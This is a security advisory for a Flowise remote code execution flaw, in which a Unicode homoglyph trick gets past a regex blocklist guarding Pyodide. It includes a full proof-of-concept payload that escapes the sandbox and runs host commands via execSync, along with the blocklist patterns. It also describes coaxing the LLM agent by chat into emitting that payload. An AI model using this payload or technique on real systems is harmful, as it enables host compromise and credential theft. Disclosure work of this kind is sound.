CVE-2026-70470: Flowise Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-52fh-8v99-63c2
CWE-184
Published
Advisory Summary

CVE-2026-70470 is a CRITICAL remote code execution vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Flowise libraries in the npm ecosystem. The issue involves pyodide validator unicode homoglyph bypass leads to rce. Remediation is available by upgrading affected packages to version 3.1.3.

CVE-2026-70470 at a Glance

CVE Identifier CVE-2026-70470
GHSA Identifier GHSA-52fh-8v99-63c2
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-184: Incomplete List of Disallowed Inputs
Affected Product Flowise
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-70470

To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flowise fixed: 3.1.3
npm install flowise@3.1.3
flowise-components fixed: 3.1.3
npm install flowise-components@3.1.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls flowise

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-70470, inspect your project dependencies using npm:

npm ls flowise

Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.

Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent). ### Details packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist: ```ts { pattern: /\bimport\b/g, ... }, { pattern: /\b__class__\b/g, ... }, { pattern: /\b__subclasses__\s*\(/g, ... }, { pattern: /\b__builtins__\b/g, ... }, { pattern: /\b__mro__\b/g, ... }, // ... about 30 similar rules ``` Two design flaws combine into a bypass: 1. JavaScript regex `\b` is ASCII-only. Word boundaries are computed against the ASCII word class `[A-Za-z0-9_]`. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so `\b__class__\b` never matches `__cl𝐚ss__`. 2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. `__cl𝐚ss__`, `__subcl𝐚sses__`, `__b𝐚se__`, `__b𝐮iltins__`, and similar homoglyph forms are all parsed as their ASCII equivalents. Attribute access `obj.__cl𝐚ss__` is normalized because attribute names are identifiers. Dict string keys such as `bi['__import__']` are not normalized, but they are free text and can be assembled with `chr()` to avoid literal matches on patterns like `\bimport\b` or `\b__import__\s*\(/`. From inside Pyodide, `__builtins__['__import__']('js')` yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes `process.mainModule.require('child_process').execSync`, which runs native commands on the host with the privileges of the Flowise process. Affected call sites: - packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates `customReadCSV` (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated `pythonCode` before it reaches `pyodide.runPythonAsync(code)` on line 209. - packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated `pythonCode` before `pyodide.runPythonAsync` on line 197. The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2. ### PoC Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious `pythonCode` to the real validator, confirms the validator returns `valid: true`, then runs the same string through Pyodide and prints the output of a native command executed on the host: ```js // npm install pyodide const { loadPyodide } = require('pyodide') const FORBIDDEN_PATTERNS = [ { pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g }, { pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g }, { pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g }, { pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g }, { pattern: /\bos\./g }, { pattern: /\bsubprocess\./g }, { pattern: /\bsys\./g }, { pattern: /\bsocket\./g }, { pattern: /\burllib\./g }, { pattern: /\brequests\./g }, { pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g }, { pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g }, { pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g }, { pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g }, ] const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) }) const payload = ` cls = ().__cl\u{1D41A}ss__ base = cls.__b\u{1D41A}se__ subs = base.__subcl\u{1D41A}sses__() for c in subs: if c.__name__ == 'catch_warnings': cw = c() bi = cw._module.__b\u{1D42E}iltins__ imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2 imp = bi[imp_name] js_mod = imp(chr(106)+chr(115)) cp_name = 'child' + chr(95) + 'process' cp = js_mod.process.mainModule.require(cp_name) opts = js_mod.Object.new(); opts.encoding = 'utf8' result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts) break str(result) ` ;(async () => { console.log('validator passes:', validate(payload)) // true const py = await loadPyodide() console.log(await py.runPythonAsync(payload)) })() ``` Run output on a stock host: ``` validator passes: true uid=0(root) gid=0(root) groups=0(root) <hostname> FLOWISE_RCE_CONFIRMED ``` Live path against a Flowise deployment: 1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent. 2. For the LLM-generated path: send a chat message via `POST /api/v1/prediction/{chatflowId}` that instructs the model to answer in Python using mathematical bold letters for `__class__`, `__subclasses__`, `__base__`, and `__builtins__`, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host. 3. For the direct path: a workspace user with chatflow edit rights sets `customReadCSV` to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host. ### Impact Any user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.

CVE-2026-70470 Affected Flowise Versions

2 component(s)
Fixed Versions:
3.1.3
Product / Package Ecosystem Affected Versions Fixed Version
flowise
npm
< 3.1.3
3.1.3
flowise-components
npm
< 3.1.3
3.1.3

References

Frequently Asked Questions

What is CVE-2026-70470?
CVE-2026-70470 is a security vulnerability in Flowise involving Pyodide validator Unicode homoglyph bypass leads to RCE under CWE-184: Incomplete List of Disallowed Inputs.
Which Flowise versions are affected?
Affected versions include releases prior to 3.1.3 across affected packages: flowise, flowise-components.
What version fixes CVE-2026-70470?
Upgrading to 3.1.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flowise affected?
Yes, flowise is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
Is flowise-components affected?
Yes, flowise-components is affected in releases prior to 3.1.3. Upgrade your dependency to 3.1.3 or later.
What CWE is associated with CVE-2026-70470?
CVE-2026-70470 is classified under CWE-184: Incomplete List of Disallowed Inputs (The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.).
How can I check npm dependencies for CVE-2026-70470?
Run the dependency tree command: 'npm ls flowise'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-52fh-8v99-63c2",
  "modified" : "2026-08-04T17:31:09Z",
  "published" : "2026-08-04T17:31:09Z",
  "aliases" : [ "CVE-2026-70470" ],
  "summary" : "Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE",
  "details" : "### Summary\nThe validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).\n\n### Details\npackages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:\n\n```ts\n{ pattern: /\\bimport\\b/g, ... },\n{ pattern: /\\b__class__\\b/g, ... },\n{ pattern: /\\b__subclasses__\\s*\\(/g, ... },\n{ pattern: /\\b__builtins__\\b/g, ... },\n{ pattern: /\\b__mro__\\b/g, ... },\n// ... about 30 similar rules\n```\n\nTwo design flaws combine into a bypass:\n\n1. JavaScript regex `\\b` is ASCII-only. Word boundaries are computed against the ASCII word class `[A-Za-z0-9_]`. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so `\\b__class__\\b` never matches `__cl𝐚ss__`.\n2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. `__cl𝐚ss__`, `__subcl𝐚sses__`, `__b𝐚se__`, `__b𝐮iltins__`, and similar homoglyph forms are all parsed as their ASCII equivalents.\n\nAttribute access `obj.__cl𝐚ss__` is normalized because attribute names are identifiers. Dict string keys such as `bi['__import__']` are not normalized, but they are free text and can be assembled with `chr()` to avoid literal matches on patterns like `\\bimport\\b` or `\\b__import__\\s*\\(/`.\n\nFrom inside Pyodide, `__builtins__['__import__']('js')` yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes `process.mainModule.require('child_process').execSync`, which runs native commands on the host with the privileges of the Flowise process.\n\nAffected call sites:\n- packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates `customReadCSV` (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated `pythonCode` before it reaches `pyodide.runPythonAsync(code)` on line 209.\n- packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated `pythonCode` before `pyodide.runPythonAsync` on line 197.\n\nThe original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.\n\n### PoC\nStandalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious `pythonCode` to the real validator, confirms the validator returns `valid: true`, then runs the same string through Pyodide and prints the output of a native command executed on the host:\n\n```js\n// npm install pyodide\nconst { loadPyodide } = require('pyodide')\n\nconst FORBIDDEN_PATTERNS = [\n  { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g }, { pattern: /\\bimport\\b/g },\n  { pattern: /\\beval\\s*\\(/g }, { pattern: /\\bexec\\s*\\(/g },\n  { pattern: /\\bcompile\\s*\\(/g }, { pattern: /\\b__import__\\s*\\(/g },\n  { pattern: /\\bopen\\s*\\(/g }, { pattern: /\\bgetattr\\s*\\(/g },\n  { pattern: /\\bos\\./g }, { pattern: /\\bsubprocess\\./g },\n  { pattern: /\\bsys\\./g }, { pattern: /\\bsocket\\./g },\n  { pattern: /\\burllib\\./g }, { pattern: /\\brequests\\./g },\n  { pattern: /\\b__builtins__\\b/g }, { pattern: /\\b__class__\\b/g },\n  { pattern: /\\b__subclasses__\\s*\\(/g }, { pattern: /\\b__bases__\\b/g },\n  { pattern: /\\b__mro__\\b/g }, { pattern: /\\b__globals__\\b/g },\n  { pattern: /\\b__code__\\b/g }, { pattern: /\\b__dict__\\b/g },\n]\nconst validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })\n\nconst payload = `\ncls = ().__cl\\u{1D41A}ss__\nbase = cls.__b\\u{1D41A}se__\nsubs = base.__subcl\\u{1D41A}sses__()\nfor c in subs:\n    if c.__name__ == 'catch_warnings':\n        cw = c()\n        bi = cw._module.__b\\u{1D42E}iltins__\n        imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2\n        imp = bi[imp_name]\n        js_mod = imp(chr(106)+chr(115))\n        cp_name = 'child' + chr(95) + 'process'\n        cp = js_mod.process.mainModule.require(cp_name)\n        opts = js_mod.Object.new(); opts.encoding = 'utf8'\n        result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)\n        break\nstr(result)\n`\n\n;(async () => {\n  console.log('validator passes:', validate(payload))   // true\n  const py = await loadPyodide()\n  console.log(await py.runPythonAsync(payload))\n})()\n```\n\nRun output on a stock host:\n\n```\nvalidator passes: true\nuid=0(root) gid=0(root) groups=0(root)\n<hostname>\nFLOWISE_RCE_CONFIRMED\n```\n\nLive path against a Flowise deployment:\n1. Workspace user (or any user able to reach a public CSV Agent chatflow) opens a chatflow containing CSV_Agent or Airtable_Agent.\n2. For the LLM-generated path: send a chat message via `POST /api/v1/prediction/{chatflowId}` that instructs the model to answer in Python using mathematical bold letters for `__class__`, `__subclasses__`, `__base__`, and `__builtins__`, following the structure above. The model's output is regex-validated (passes), then executed by Pyodide, giving RCE on the host.\n3. For the direct path: a workspace user with chatflow edit rights sets `customReadCSV` to the payload above. Every subsequent prediction hits CSVAgent.ts:171 and runs the attacker-controlled code on the host.\n\n### Impact\nAny user able to reach a chatflow that uses CSV_Agent or Airtable_Agent, including unauthenticated users on public chatflows, can run arbitrary OS commands as the Flowise process on the host. That yields read/write access to every credential and file the Flowise process can reach, pivot into the internal network, and full compromise of multi-tenant workspaces that share the same server. The prior advisories GHSA-3hjv-c53m-58jj and GHSA-v38x-c887-992f were scored 9.8 critical for the same reachable sink; this finding restores that impact in version 3.1.2.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "flowise-components"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-52fh-8v99-63c2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/pull/6499"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FlowiseAI/Flowise"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-04T17:31:09Z",
    "nvd_published_at" : null
  }
}